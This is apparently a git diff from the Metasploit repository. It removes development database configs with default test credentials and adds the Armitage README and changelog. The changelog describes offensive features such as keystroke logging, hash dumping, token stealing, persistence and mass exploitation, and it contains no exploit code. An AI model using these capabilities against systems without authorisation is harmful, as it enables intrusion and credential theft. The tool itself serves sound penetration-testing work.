username: metasploit_framework_development
|
||||
password: __________________________________
|
||||
host: localhost
|
||||
port: 5432
|
||||
pool: 200
|
||||
timeout: 5
|
||||
|
||||
# You will often want to seperate your databases between dev
|
||||
# mode and prod mode. Absent a production db, though, defaulting
|
||||
# to dev is pretty sensible for many developer-users.
|
||||
production: &production
|
||||
<<: *pgsql
|
||||
|
||||
# Warning: The database defined as "test" will be erased and
|
||||
# re-generated from your development database when you run "rake".
|
||||
# Do not set this db to the same as development or production.
|
||||
#
|
||||
# Note also, sqlite3 is totally unsupported by Metasploit now.
|
||||
test:
|
||||
<<: *pgsql
|
||||
database: metasploit_framework_test
|
||||
username: metasploit_framework_test
|
||||
password: ___________________________
|
||||
@@ -1,25 +0,0 @@
|
||||
# @note This file is only for use in GitHub Actions. If you need to make a
|
||||
# config/database.yml for running rake, rake spec, or rspec locally, please
|
||||
# customize `conifg/database.yml.example`
|
||||
#
|
||||
# @example Customizing config/database.yml.example
|
||||
# cp config/database.yml.example config/database.yml
|
||||
# # update password fields for each environment's user
|
||||
|
||||
development: &pgsql
|
||||
adapter: postgresql
|
||||
database: metasploit_framework_development
|
||||
host: localhost
|
||||
username: postgres
|
||||
password: postgres
|
||||
pool: 25
|
||||
timeout: 5
|
||||
|
||||
# Warning: The database defined as "test" will be erased and
|
||||
# re-generated from your development database when you run "rake".
|
||||
# Do not set this db to the same as development or production.
|
||||
#
|
||||
# Note also, sqlite3 is totally unsupported by Metasploit now.
|
||||
test:
|
||||
<<: *pgsql
|
||||
database: metasploit_framework_test
|
||||
@@ -1,18 +0,0 @@
|
||||
development: &pgsql
|
||||
adapter: postgresql
|
||||
database: msf_dev_db
|
||||
username: vagrant
|
||||
password: vagrant
|
||||
host: localhost
|
||||
port: 5432
|
||||
pool: 200
|
||||
timeout: 5
|
||||
|
||||
production: &production
|
||||
<<: *pgsql
|
||||
|
||||
test:
|
||||
<<: *pgsql
|
||||
database: msf_test_db
|
||||
username: vagrant
|
||||
wassword: vagrant
|
||||
@@ -1,4 +0,0 @@
|
||||
# Load the rails application
|
||||
require File.expand_path('../application', __FILE__)
|
||||
# Initialize the rails application
|
||||
Metasploit::Framework::Application.initialize!
|
||||
@@ -1,5 +0,0 @@
|
||||
if defined? Metasploit::Framework::Application
|
||||
Metasploit::Framework::Application.configure do
|
||||
config.log_level = :info
|
||||
end
|
||||
end
|
||||
@@ -1,14 +0,0 @@
|
||||
openssl_conf = openssl_init
|
||||
|
||||
[openssl_init]
|
||||
providers = provider_sect
|
||||
|
||||
[provider_sect]
|
||||
default = default_sect
|
||||
legacy = legacy_sect
|
||||
|
||||
[default_sect]
|
||||
activate = 1
|
||||
|
||||
[legacy_sect]
|
||||
activate = 1
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Executable
+1
@@ -0,0 +1 @@
|
||||
java -jar armitage.jar $*
|
||||
Executable
BIN
Binary file not shown.
|
After Width: | Height: | Size: 25 KiB |
Executable
BIN
Binary file not shown.
Executable
+90
@@ -0,0 +1,90 @@
|
||||
=============================================================================
|
||||
Armitage - Cyber Attack Management for Metasploit
|
||||
=============================================================================
|
||||
|
||||
*** http://www.fastandeasyhacking.com ***
|
||||
|
||||
1. What is Armitage?
|
||||
-----------------
|
||||
|
||||
Armitage is a graphical cyber attack management tool for Metasploit that
|
||||
visualizes your targets, recommends exploits, and exposes the advanced
|
||||
capabilities of the framework.
|
||||
|
||||
Advanced users will find Armitage valuable for managing remote Metasploit
|
||||
instances and collaboration. Armitage's red team collaboration features allow
|
||||
your team to use the same sessions, share data, and communicate through one
|
||||
Metasploit instance.
|
||||
|
||||
Armitage aims to make Metasploit usable for security practitioners who
|
||||
understand hacking but don't use Metasploit every day. If you want to learn
|
||||
Metasploit and grow into the advanced features, Armitage can help you.
|
||||
|
||||
2. Documentation
|
||||
-------------
|
||||
|
||||
The documentation for Armitage is located on the Armitage website at:
|
||||
http://www.fastandeasyhacking.com. Read the FAQ and the Manual for
|
||||
information on connecting Armitage to Metasploit and using it.
|
||||
|
||||
3. Install and Update
|
||||
----------
|
||||
|
||||
To get started, see the manual at http://www.fastandeasyhacking.com
|
||||
|
||||
4. Source Code
|
||||
-----------
|
||||
|
||||
This projected is hosted on Google Code at:
|
||||
http://code.google.com/p/armitage/
|
||||
|
||||
5. Disclaimer
|
||||
----------
|
||||
|
||||
Use this code for your development and don't hack systems that you don't
|
||||
have permission to hack. The existence of this software does not reflect the
|
||||
opinions or beliefs of my current employers, past employers, future
|
||||
employers, or any small animals I come into contact with. Enjoy this
|
||||
software with my blessing. I hope it helps you learn and become a better
|
||||
security professional.
|
||||
|
||||
6. Contact
|
||||
-------
|
||||
|
||||
Report bugs in the issue tracker at:
|
||||
http://code.google.com/p/armitage/issues/list
|
||||
|
||||
E-mail contact@fastandeasyhacking.com with other questions/concerns. Make
|
||||
sure you peruse the FAQ and Manual first.
|
||||
|
||||
7. License
|
||||
-------
|
||||
|
||||
(c) 2010-2012 Raphael Mudge. This project is licensed under the BSD license.
|
||||
See section 8 for more information.
|
||||
|
||||
lib/jgraphx.jar is used here within the terms of the BSD license offered by
|
||||
JGraphX Ltd. http://www.jgraphx.com/
|
||||
-
|
||||
lib/msgpack-0.5.1-devel.jar and lib/postgresql-9.1-901.jdbc4.jar are both
|
||||
BSD licensed libraries.
|
||||
-
|
||||
Some code in src/msf/* comes from msfgui by scriptjunkie.
|
||||
-
|
||||
This project uses the LGPL Sleep scripting language with no modifications.
|
||||
Sleep's source is available at: http://sleep.dashnine.org/
|
||||
|
||||
8. The BSD License
|
||||
---------------
|
||||
|
||||
Redistribution and use in source and binary forms are permitted provided
|
||||
that the above copyright notice and this paragraph are duplicated in all
|
||||
such forms and that any documentation, advertising materials, and other
|
||||
materials related to such distribution and use acknowledge that the
|
||||
software was developed by the copyright holders. The name of the copyright
|
||||
holders may not be used to endorse or promote products derived from this
|
||||
software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED ''AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
|
||||
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
|
||||
MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
|
||||
Executable
+978
@@ -0,0 +1,978 @@
|
||||
Armitage Changelog
|
||||
==================
|
||||
|
||||
2 Mar 12 - Catching up to a few MSF 4.3.0-dev changes...
|
||||
--------
|
||||
- Added a tab rename feature.
|
||||
- Hosts that self report as .NET server now display an XP/2003 era icon.
|
||||
- Updated route command parser to conform to Metasploit 4.3.0's output for it
|
||||
- "Check all credentials" feature now works when running the deconfliction
|
||||
server AND client from the same folder.
|
||||
- [host] -> Host -> Operating System -> * now clears notes related to host
|
||||
before updating OS. This allows future scans to trigger MSF normalization
|
||||
code and update the OS to something else (e.g., from Unknown to X)
|
||||
|
||||
29 Feb 12
|
||||
---------
|
||||
- Armitage now displays a VMWare icon for hosts flagged as ESX/ESXi servers
|
||||
- Overhauled token stealing user experience--this is the cadillac version. You
|
||||
now get a nice list of the available tokens (from the post module), click to
|
||||
impersonate, refresh, rev2self, and getuid.
|
||||
- Improved file browser responsiveness
|
||||
- Table view now allows individual hosts to be deselected in an interveral
|
||||
(Armitage will no longer reselect these hosts for you)
|
||||
- Dynamic workspaces no longer requires a comma and a space between entries (a
|
||||
comma is good enough)
|
||||
- Improved the [Host] -> Remove menu option
|
||||
- Deconfliction server now returns the previous 100 events to new clients.
|
||||
- File browser directory up button is now more obvious
|
||||
- Keyboard accelerators when you right-click in the graph view are now correct.
|
||||
- Adjusted the graph view scrolling increments to something sane.
|
||||
- Added a slight delay between commands issued to a console to prevent them
|
||||
from executing out of order.
|
||||
|
||||
21 Feb 12
|
||||
---------
|
||||
- Added Cut/Copy/Paste menu to table cell editor.
|
||||
- Module browser search field now treats spaces as a wildcard. You may type:
|
||||
"win meterp" and Armitage will treat it as "win*meterp"
|
||||
- Hovering over an edge in graph view no longer reports a "null" tooltip
|
||||
- Fixed parsing of ps output for the process dialog (it's much much better now)
|
||||
|
||||
14 Feb 12
|
||||
---------
|
||||
- Added ports 5631 (pc anywhere) and 902 (vmauthd) to the MSF Scans feature.
|
||||
- Several cosmetic tweaks to the spacing in Armitage tables.
|
||||
- Moved table render code from Sleep to Java to avoid potential lock conflicts
|
||||
- Added support for vba-exe payload output type.
|
||||
- Payload generation dialog now sets more appropriate default options for the
|
||||
vba output type when it is selected.
|
||||
- Meterp command shell "read more stuff?" heuristic now accounts for Yes/No/All
|
||||
- Fixed ExitOnSession showing up twice when setting advanced options for a
|
||||
client-side exploit
|
||||
- You may now import multiple files through Hosts -> Import again.
|
||||
- Added 5s timeout to d-server connect attempt.
|
||||
- Added a --client [connect.properties] to specify which Metasploit server to
|
||||
connect to. The connect.properties file is a Java properties file that looks
|
||||
like this (without the leading whitespace):
|
||||
|
||||
host=127.0.0.1
|
||||
port=55553
|
||||
user=msf
|
||||
pass=test
|
||||
|
||||
19 Jan 12
|
||||
---------
|
||||
- Data export now includes a sessions file. This lists all of the Metasploit
|
||||
sessions you had in your database. There's some neat data here including
|
||||
which exploit was used, which payload, start time, and close time. You can
|
||||
calculate how much time you spent on your client's boxes. Cool stuff.
|
||||
- Fixed a potential dead-lock caused by mouse enter/exit events firing code
|
||||
that required a lock. Nice landmine to defuse.
|
||||
- Fixed a weird condition with d-server detection. Sometimes (rarely)
|
||||
Armitage wouldn't detect the d-server even when it's present.
|
||||
- Added check to d-server allowing one lock per/client. Client won't reobtain
|
||||
a lock until it lets it go. This prevents you from opening two shell tabs
|
||||
for a shell session in team mode.
|
||||
- Fixed an infinite loop condition when some Windows shell commands would
|
||||
return output with no newlines (e.g., net stop [some service]). Thanks
|
||||
Jesse for pointing me to this one.
|
||||
- Data export now includes a timeline file. This file documents all of the
|
||||
major engagement events seen by Armitage. Included with each of these
|
||||
events is the source ip of the attack system and the user who carried out
|
||||
the action (when teaming is setup).
|
||||
- Data export now exports timestamps with current timezone (not GMT)
|
||||
- Fixed a nasty bug that's been with Armitage since the beginning! I wasn't
|
||||
freeing edges properly in the graph view. If you had pivots setup in graph
|
||||
view and used Armitage long enough--eventually Armitage would slow down until
|
||||
the program became unusable. At least it's fixed now.
|
||||
- Adjusted the d-server state identity hash combination algorithm to better
|
||||
avoid collissions.
|
||||
- Armitage now displays 'shell session' below a host if the host info is just
|
||||
the Windows shell banner.
|
||||
|
||||
5 Jan 12
|
||||
--------
|
||||
- Armitage d-server now transmits hosts, service, and session state only
|
||||
when something has changed. This makes teaming much snappier.
|
||||
- Uploading an imported hosts file now shows a progress dialog.
|
||||
- File browser upload function no longer blocks the user interface in team
|
||||
mode. A progress dialog is shown for uploading larger files.
|
||||
- Removed Ctrl+R refresh hosts shortcut from graph view (it's no longer
|
||||
necessary)
|
||||
- Armitage now exits if it was unable to connect to the collaboration server.
|
||||
- Hosts -> NMap Scans and Hosts -> MSF Scans dialogs are now populated with
|
||||
the selected values from the target area by default.
|
||||
- You may now interact with a Windows command shell through Java meterpreter.
|
||||
- Armitage no longer shows Webcam Shot option through Java meterpreter.
|
||||
- Armitage now detects when it does not have read permissions for the database
|
||||
YAML file and prompts with something helpful. Before it would just freeze
|
||||
with a blank dialog. Not helpful. :)
|
||||
- Armitage now only shows services that are open.
|
||||
- View -> Reporting -> Export Data now has the capability of dumping the whole
|
||||
database (not just the current workspace).
|
||||
- Added a dialog to View -> Reporting Export Data. Now you have the ability to
|
||||
dump all hosts or choose to dump one of the dynamic workspaces. This gives
|
||||
you a lot of flexibility with which hosts are included.
|
||||
- Cleaned up exported output of vulnerabilities in the Metasploit database:
|
||||
-- duplicate entries are collapsed to one (this was the fault of my query)
|
||||
-- refs column contains references separated by a comma and a space
|
||||
-- added info and module columns. The module column indicates the appropriate
|
||||
Metasploit module
|
||||
-- Metasploit modules now populate name, info, and module in an appropriate
|
||||
way.
|
||||
- Values exported to TSV are cleaned up such that newlines are replaced with a
|
||||
literal \n and tabs are converted to three spaces.
|
||||
|
||||
30 Dec 11 - last release of the year?
|
||||
---------
|
||||
- Hosts -> Clear Database now clears the sessions and clients tables
|
||||
- Fixed a bug preventing dynamic workspace port/session filter from
|
||||
working on a fresh database. This was a fun one. This only affected
|
||||
folks with a completely fresh database and because Hosts -> Clear
|
||||
Database didn't clear everything, this went unnoticed until now.
|
||||
- Added various reverse shell payloads to payload helper dialog.
|
||||
- Added file chooser helper for SigningCert and SigningKey options.
|
||||
- Added hack to return correct route info when setting up pivoting through
|
||||
Java meterpreter.
|
||||
- Armitage now posts a note to the event log when a user starts a browser
|
||||
exploit or a server module.
|
||||
- Armitage now supports dragging and dropping a module onto a host in graph
|
||||
and table view. This action opens the module launcher configured to work
|
||||
with that host.
|
||||
- Drastically rewrote MSF Scans. MSF Scans now intelligently builds a list
|
||||
of ports to scan based on what Metasploit can do. After an initial port
|
||||
scan, MSF Scans runs discovery modules against relevant hosts. As a bonus
|
||||
you will see all of the output of these scans.
|
||||
- Enhanced the Windows heuristic used to guess which OS image to display
|
||||
- The deconfliction server throttle is now less draconian about how long it
|
||||
throttles a call.
|
||||
- Armitage no longer posts to the event log from the UI thread (this will
|
||||
prevent the UI from blocking in some cases)
|
||||
- Command shell now handles interaction with d-server in a separate thread
|
||||
from the UI thread. This will prevent UI blocking in some cases.
|
||||
- Added Ping Sweep... option for non-Windows meterpreter sessions. Now Java
|
||||
meterpreter users have a quick host discovery option.
|
||||
- Change Host OS option now matches new Metasploit database schema.
|
||||
- Deconfliction server now sets LHOST to the IP address you provided. Also,
|
||||
Armitage clients do not overwrite LHOST once it is set.
|
||||
- Interacting with a shell in team mode no longer blocks UI to communicate
|
||||
with d-server.
|
||||
|
||||
12 Dec 11
|
||||
---------
|
||||
- Armitage teaming mode now downloads the resulting file for any fileformat
|
||||
exploit.
|
||||
- Armitage -> Set Exploit Rank and Set Target View now show a * next to an
|
||||
item to indicate the current setting.
|
||||
- Shift+click on Launch in a module launch dialog will not close the module
|
||||
launch dialog. One use case for this: set up a payload multi/handler,
|
||||
shift+click Launch to do it, then change output type to exe, click Launch
|
||||
and you're all set.
|
||||
- Dynamic Workspace editor now trims whitespace from your entries. Errant
|
||||
whitespace causes Armitage to reject the entry and your workspace never
|
||||
acivates.
|
||||
- Updated the "msfrpcd died" troubleshooting dialog. The new one takes folks
|
||||
to a website with detailed information.
|
||||
- Armitage now uses "load" to load a meterpreter module instead of "use"
|
||||
- Key logger event log announcement now notes the session ID. This is so
|
||||
your teammates will know not to migrate that session since it's recording
|
||||
key strokes.
|
||||
- Right-click X in tab -> Save Screenshot now displays filename without the
|
||||
path.
|
||||
- Deconfliction server now detects when database is not available and offers
|
||||
troubleshooting steps.
|
||||
- Loot/Downloads viewer now has a right-click menu to Copy selected text.
|
||||
|
||||
22 Nov 11 - A big improvement...
|
||||
---------
|
||||
- Services refresh is now set to 30s (vs. 60s before)
|
||||
- Workspaces -> Manage now opens as a tab and shows all data about workspaces
|
||||
- Fixed a bug with Edit Workspace not auto-checking session box when set.
|
||||
- Meterpreter -> Access -> Escalate Privileges now highlights the priv esc
|
||||
options in the post module true. This is viable now that getsystem is a
|
||||
module.
|
||||
- Payload module launcher now lets you set Template, Iterations, Encoder, and
|
||||
KeepTemplateWorking for any Windows payload. Also, payload is generated and
|
||||
saved locally without opening a tab.
|
||||
- sessions -i ## trap is now smarter and opens a shell tab for shell sessions,
|
||||
a meterpreter tab for meterpreter sessions, and offers an error when you
|
||||
try to interact with a session that doesn't exist.
|
||||
- Armitage no longer shows a host until it receives a db.hosts reply.
|
||||
- Right-click a module and select Relevant Targets to create a dynamic
|
||||
workspace that shows only targets that meet the host/port criteria for that
|
||||
module. Use Ctrl+A to select all of those hosts and rock'n'roll. :)
|
||||
- Hosts -> Import Hosts now works when the folder/file has spaces in it.
|
||||
- Dynamic workspaces are now local to the current Armitage client. They no
|
||||
longer have a global effect in teaming mode.
|
||||
- Added an Activate button to workspace management dialog.
|
||||
- Fixed a bug with sessions only dyn workspace sometimes showing hosts that
|
||||
do not have sessions.
|
||||
- You may now highlight multiple jobs in View -> Jobs and select Kill to get
|
||||
rid of all them at once.
|
||||
|
||||
11.17.11 - All the things I wanted to do, but didn't have time
|
||||
--------
|
||||
Release Note 1: if you use Armitage teaming, things changed. You have to start
|
||||
msfrpcd with a different set of flags and your team must use the latest version
|
||||
of Armitage. If you have a script that starts msfrpcd, you must update it.
|
||||
|
||||
More information is at: http://www.fastandeasyhacking.com/manual#7
|
||||
|
||||
Release Note 2: Armitage requires a Metasploit base install of 4.0 or greater.
|
||||
If you use msfupdate to update a Metasploit install prior to 4.0, then Armitage
|
||||
will not work. The Metasploit pre-4.0 installers did not install dependencies
|
||||
that Armitage requires today. Missing are certain Java cryptography extensions
|
||||
and the msgpack Ruby gem. BackTrack 5 is Metasploit 3.7. BackTrack 5r1 is 4.0.
|
||||
|
||||
- db.services now limits its results to hosts that are returned by db.hosts.
|
||||
This fixes a bug where services data for some hosts was not returned when
|
||||
when >3,500 hosts are in the armitage database.
|
||||
- MSF Scans menu is now available under Hosts menu again.
|
||||
- Removed Browser Autopwn menu as its future in Metasploit is undecided.
|
||||
- Find Attacks/Hail Mary now pull latest service info from DB before resolving
|
||||
the attacks. This prevents a situation where Find Attacks after a scan yielded
|
||||
nothing because Armitage had not synced with the database yet.
|
||||
- Deconfliction server now complains when you try to use 127.0.0.1 as your host
|
||||
- Added cut/copy/paste/clear menu to most textfields. (for Glen)
|
||||
- Added Workspaces -> Manage to edit, add, and remove dynamic workspaces.
|
||||
- Added code to intercept "sessions -i ##" and open a meterpreter tab instead.
|
||||
- Armitage now honors port setting when starting msfrpcd for you.
|
||||
- Armitage now detects msfrpcd shutdown and offers user advice to fix it. The
|
||||
most common cause is probably a lack of msgpack.
|
||||
- Fixed a deadlock that happened when generating a payload.
|
||||
|
||||
11.13.11 - A major rewrite of a lot of stuff.
|
||||
--------
|
||||
- Moved from XML/RPC interface to MSGPACK. This should be much faster.
|
||||
- Removed Armitage dependence on Metapsloit db.* API--since it may go away soon.
|
||||
- Attack recommendations and Hail Mary no longer depend on db_autopwn. New code
|
||||
offers same results with improved speed.
|
||||
- Simplified Hail Mary and Find Attacks to use port/OS information only.
|
||||
- Greatly improved keystroke recorder. The option is now called "Log Keystrokes".
|
||||
It uses the Metasploit keystroke_recorder post module. Results are regularly
|
||||
dumped into the post module window. Also, the results are stored as loot
|
||||
available for the team to view.
|
||||
- Launching the keystroke_recorder post module now makes an announcement to the
|
||||
event log.
|
||||
- Added a button to Processes tab to log keystrokes. This will bring up a the
|
||||
keystroke_recorder module configured to migrate to the process and record
|
||||
keystrokes there.
|
||||
- Removed Workspaces menu. Armitage now works from the default workspace.
|
||||
- Simplified Hosts menu.
|
||||
- Meterpreter -> Access -> Persistence now calls persistence post module.
|
||||
- Improved Meterpreter -> Access -> Steal Tokens, it's still wonky but it's a
|
||||
little better now.
|
||||
- Host import now uses db_import command running in a console.
|
||||
- Added Armitage -> Set Exploit Rank to update the minimum exploit rank value.
|
||||
- Armitage now displays up to 512 hosts and 12,288 services at any given time.
|
||||
This keeps Armitage operable even if you scan a big freaking network.
|
||||
- Added dynamic workspaces. This feature gives you the ability to define a filter
|
||||
on the database and Armitage will display only hosts that match this filter.
|
||||
You may define filters based on operating system, open ports, and network address.
|
||||
Go to Workspaces -> Create to create a filter. Filters show up under the
|
||||
Workspaces menu and you may switch back and forth betweem them too.
|
||||
- Simplified the Connect dialog. One button. :)
|
||||
- Right-click Scan option now scans for HTTPS.
|
||||
- Check all credentials option no longer tries blank passwords/username as pass
|
||||
- Added a read optimization to the console code. This will reduce load in a team
|
||||
engagement + make consoles feel faster when there is output.
|
||||
- Armitage now opens the event log tab instead of a metasploit console tab in team
|
||||
mode.
|
||||
- Fixed a host sorting issue in table view.
|
||||
- Moved View -> Targets to Armitage -> Set Target View
|
||||
- Overhauled how Armitage handles downloaded files. Downloads are saved to a set
|
||||
place on the attack server. Downloads are available to the whole team through
|
||||
View -> Downloads. This works like the loot viewer. Team members may view text
|
||||
files or download binary files. This method is friendlier when downloading whole
|
||||
directories of stuff.
|
||||
|
||||
10.20.11
|
||||
--------
|
||||
- Modified hail mary attack to get a little more success with some common Windows
|
||||
attacks.
|
||||
|
||||
10.17.11
|
||||
--------
|
||||
- Added menu item to dump hashes using the old lsass method or the smart hashdump
|
||||
registry method.
|
||||
|
||||
10.13.11 take II?
|
||||
--------
|
||||
- updated msf3/data directories to account for new install locations.
|
||||
- Removed Meterpreter -> Access - > Duplicate because it is now redundant with
|
||||
Meterpreter -> Access -> Pass Session
|
||||
- Updated Meterpreter -> Access -> Pass Session to have LPORT of default
|
||||
Meterpreter listener. Click Launch to simply duplicate your current session.
|
||||
- Added Meterpreter -> Access -> Steal Token to list and steal user/group tokens
|
||||
- Updated meterpreter multiplexer to not expect output from rev2self.
|
||||
|
||||
10.13.11
|
||||
--------
|
||||
- added ability to set up VNC on a target when connected to a remote Metasploit
|
||||
- Armitage now tells you where to connect your VNC client to access the desktop
|
||||
of a compromised host. You'll need to have a local VNC client available.
|
||||
|
||||
10.12.11 - oooh SECKSY
|
||||
--------
|
||||
- fixed a typo in the default armitage settings file.
|
||||
- made PAYLOAD helper friendly to post/windows/manage/payload_inject
|
||||
- Meterpreter -> Access -> Pass Session now uses payload_inject
|
||||
|
||||
10.12.11
|
||||
--------
|
||||
- Meterpreter N -> Hashdump now runs post/windows/gather/smart_hashdump module.
|
||||
This gives you the benefit of seeing its output and it works in more
|
||||
situations.
|
||||
- Right-click the tab X button and select Save Screenshot to take a screenshot
|
||||
of the current tab. This image will render the tab contents exactly as seen
|
||||
on the screen. Useful for putting together a report or presentation.
|
||||
(thanks Rob for the suggestion)
|
||||
- Added a module launcher helper for RHOSTS and RHOST. This helper will let you
|
||||
import a list of IPs (separated by newlines) from a file into these fields.
|
||||
- View -> Reporting -> Export Data no longer fails if there are no hosts to
|
||||
export data about.
|
||||
- Armitage now runs post/auxiliary modules as jobs (meaning you may kill them
|
||||
using View -> Jobs)
|
||||
- hashdump and smart_hashdump post modules will now announce to the event log
|
||||
that hashes were dumped when they're run (whether through the menu or
|
||||
the module browser).
|
||||
- View -> Reporting -> Export Data now takes a screenshot of the table view
|
||||
and includes it in the artifacts (when table view is active)
|
||||
|
||||
09.26.11 - take 2
|
||||
--------
|
||||
- Improved performance when launching exploits and other modules that open
|
||||
a new tab.
|
||||
- Launching an exploit will only open a tab when fewer than four hosts are
|
||||
highlighted. If four or more are highlighted, then Armitage will use the old
|
||||
behavior of silently launching each exploit. [You're supposed to be able to
|
||||
attack hundreds of hosts at once--hence my desire to add this caveat]
|
||||
- When launching an exploit in the background, Armitage will show a dialog
|
||||
indicating that the exploit was launched against X hosts.
|
||||
|
||||
09.26.11
|
||||
--------
|
||||
- You may now drag and drop Armitage tabs to rearrange their order.
|
||||
- Armitage "show all commands" option (for better exploit feedback) is now on
|
||||
by default.
|
||||
- You may now right-click a screenshot/webcam shot to zoom in or out on the
|
||||
image. The zoom-level stays fixed (in case you refresh the image later)
|
||||
- Added a menu to the X button in the tabs. Through this menu you may open the
|
||||
current tab in its own window or close all like tabs.
|
||||
- Updated Hosts -> Import Hosts to reflect the current importable file types.
|
||||
- Added View -> Reporting -> Export Data to dump most Metasploit tables into
|
||||
TSV and XML files suitable for parsing (by you!) into a report format of
|
||||
some sort.
|
||||
- Armitage now encodes (-e x86/shikata_ga_nai -i 3) any Windows meterpreter
|
||||
payload generated from the module launcher dialog.
|
||||
- [host] -> Meterpreter -> Access -> Duplicate now uses multi_meter_inject to
|
||||
launch Meterpreter into memory directly (rather than upload and execute a file)
|
||||
- In teaming mode, Armitage will now automatically upload a file selected through
|
||||
the + option (e.g., USER_FILE +) to the Metasploit server and set the value
|
||||
in Metasploit accordingly.
|
||||
- Modified error output for a failed Metasploit method to only display the
|
||||
method name and error message. Displaying a large input would cause Armitage
|
||||
UI to start flashing in some weird disco mode until a hard reset. Yeaah.
|
||||
|
||||
09.08.11
|
||||
--------
|
||||
- Armitage now highlights the event log tab when something new is posted and the
|
||||
tab is not active. Control the color by editing tab.highlight.color pref.
|
||||
- Fixed a bug preventing preference values from saving properly (and having an
|
||||
effect).
|
||||
- Added "Check all credentials" option to the login dialogs. This option will
|
||||
login to the service to test each credential. Successful logins will populate
|
||||
the credentials table.
|
||||
- Fixed a bug preventing the first open console from scrolling all the way to
|
||||
the bottom when open.
|
||||
- Credential export button now escapes the file path (making the button work on
|
||||
Windows). This bug is another good example of why you should use Armitage on
|
||||
Linux. It'll just work. Windows users: expect surprises.
|
||||
- Use Ctrl+Shift on a tab X button to remove the tab and create a desktop window
|
||||
with its contents. I suspect you'll find this really useful at times.
|
||||
- Armitage now remembers your auto-layout setting. Right-click in the graph area
|
||||
to change it.
|
||||
- Setting armitage.show_all_commands.boolean to true will now run each exploit in
|
||||
its own tab. Setting this is a good way to get feedback on the attacks you
|
||||
launch and to learn the Metasploit console better.
|
||||
|
||||
07.31.11
|
||||
--------
|
||||
- Fixed bug preventing Meterpreter -> Access -> Hashdump from noting all hashes
|
||||
into the credentials table.
|
||||
|
||||
07.30.11 - Paying down some engineering debt.
|
||||
--------
|
||||
- Loot viewer no longer displays non-text files. If you try to "view" a
|
||||
binary loot, it will the folder containing it.
|
||||
- Improved UI responsiveness by making sure all communication with Metasploit
|
||||
happens in some thread other than the UI thread. This will prevent latency
|
||||
from bogging the UI down and making it feel locked up. Armitage will also
|
||||
feel a lot faster for many actions.
|
||||
- The code that creates a console, executes a command, and calls a callback
|
||||
now uses a much tighter sleeping schedule (10ms vs 500ms). This greatly
|
||||
improves Armitage responsiveness.
|
||||
- Armitage connect progress dialog now shows progress setting up the Armitage
|
||||
environment once a connection is successful. Chances are it'll happen fast
|
||||
enough that you won't see it.
|
||||
- View -> Activity Log now opens activity log folder on MacOS X.
|
||||
- Removed restriction that prevents user from deleting/clearing default
|
||||
workspace.
|
||||
- File chooser helper used to set values in the module launch dialog now
|
||||
escapes all backslashes in the path. This fixes a problem on Windows caused
|
||||
by the console stripping the unescaped backslashes.
|
||||
|
||||
07.28.11 - Armed for Metasploit 4
|
||||
--------
|
||||
- Armitage now sends use prive with use stdapi when it gets a command not
|
||||
found error in Meterpreter.
|
||||
- Armitage now sends BLANK_PASSWORDS 0 with any Login menu items. This
|
||||
should speed up the login by forcing Metasploit to not try a blank
|
||||
user/password first.
|
||||
- Armitage no longer sends payload related variables to auxiliary modules.
|
||||
(note to programmer: auxiliary modules don't use PAYLOADs :P~~~)
|
||||
- Module launch dialog for client-side attacks (fileformat and browser)
|
||||
now presents payload options to you. They're still configured to a
|
||||
reasonable default (and updated as the exploit target changes).
|
||||
- Client-side payload "guess" is now better about selecting an OS X specific
|
||||
payload when appropriate.
|
||||
- Double-click the PAYLOAD option in the module launch dialog to open a
|
||||
chooser that lets you select a payload and choose whether to create a
|
||||
handler for it or not. This will configure the appropriate payload vars
|
||||
for you. You're welcome to tweak them from there.
|
||||
- Simplified some of the logic in the file browser and added better error
|
||||
reporting.
|
||||
- Added a visual hint to clickable option names in the module launcher.
|
||||
Double-clicking these options will open a dialog to assist setting the value.
|
||||
- Added a visual hint to clickable preference types in the preferences window.
|
||||
Double-clicking these types will open a dialog to assist setting the value.
|
||||
- Fixed a potential deadlock caused by launching modules while Armitage is
|
||||
still initializing.
|
||||
- Added a preference to disable displaying the MSF ASCII banner when a new
|
||||
console opens. This preference is set to show the banner by default.
|
||||
- Added a regexp to strip non-ascii chars from usernames collected with dump
|
||||
hashes. The RPC daemon throws an exception when I try to report usernames
|
||||
with these chars in them.
|
||||
|
||||
23 Jul 11 - Change Log
|
||||
---------
|
||||
- Ooops! My baaad. I broke db.creds in MSF. Someone else unbroke it. Now
|
||||
I call it the right way from Armitage so everything works like it's
|
||||
supposed to. :)
|
||||
|
||||
21 Jul 11 - Change Log
|
||||
---------
|
||||
- loots dialog is now populated by db.loots RPC call. This is faster
|
||||
and compatible with changes made to MSF.
|
||||
- credentials dialog is now populated by.creds RPC call. This is
|
||||
faster and compatible with changes made to MSF.
|
||||
- RPC connection code now strips out more characters that may cause
|
||||
the XML parser to complain.
|
||||
|
||||
** There were a few changes made to MSF over the past few days that
|
||||
broke the credentials and loots dialog. This update brings Armitage
|
||||
back to compatability with what exists in MSF trunk. **
|
||||
|
||||
19 Jul 11 - Change Log
|
||||
---------
|
||||
- You may now execute a post module against multiple hosts at once.
|
||||
Simply highlight the hosts, find your post module, double-click it
|
||||
and watch the magic happen. The drawback--each session will open a
|
||||
new tab to display the output of the post module.
|
||||
- You may now hold down shift and click on a tab to close all tabs
|
||||
with the same title. If you run a post module against multiple hosts
|
||||
this is a good way to get rid of all those tabs.
|
||||
- Graph view Ctrl+P shortcut (save screenshot of graph view) now shows
|
||||
pivots.
|
||||
- post module output now logs to ~/.armitage/[host]/post.log
|
||||
- Fixed some weirdness with popup menu mouse events not being consumed
|
||||
- Added View -> Activity Logs to open folder containing Armitage logs
|
||||
- Fixed command history so up arrow really gives the previous command
|
||||
- Keystrokes dumped using dump button on key scan dialog are now logged
|
||||
to ~/.armitage/[host]/keyscan.log
|
||||
|
||||
*Respun* Armitage.dmg with .app file fix for MacOS X Lion. Thanks to
|
||||
@NightLion for contributing this.
|
||||
|
||||
12 Jul 11 - Change Log
|
||||
---------
|
||||
- Fixed a race condition causing some file browser actions to fail on
|
||||
Windows hosts at times.
|
||||
- Files downloaded through file browser are now archived in:
|
||||
[host]\Downloads
|
||||
- Hail Mary output nows goes to [log dir]\all\hailmary.log
|
||||
- Added Crack Passwords button to Credentials tab. This opens the
|
||||
